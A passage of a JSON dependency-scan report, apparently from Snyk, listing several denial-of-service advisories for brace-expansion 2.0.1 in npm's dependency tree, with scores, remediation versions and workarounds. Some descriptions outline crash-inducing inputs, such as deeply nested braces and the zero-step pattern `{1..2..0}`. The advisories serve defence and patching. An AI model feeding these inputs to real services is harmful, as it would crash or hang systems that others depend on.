"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
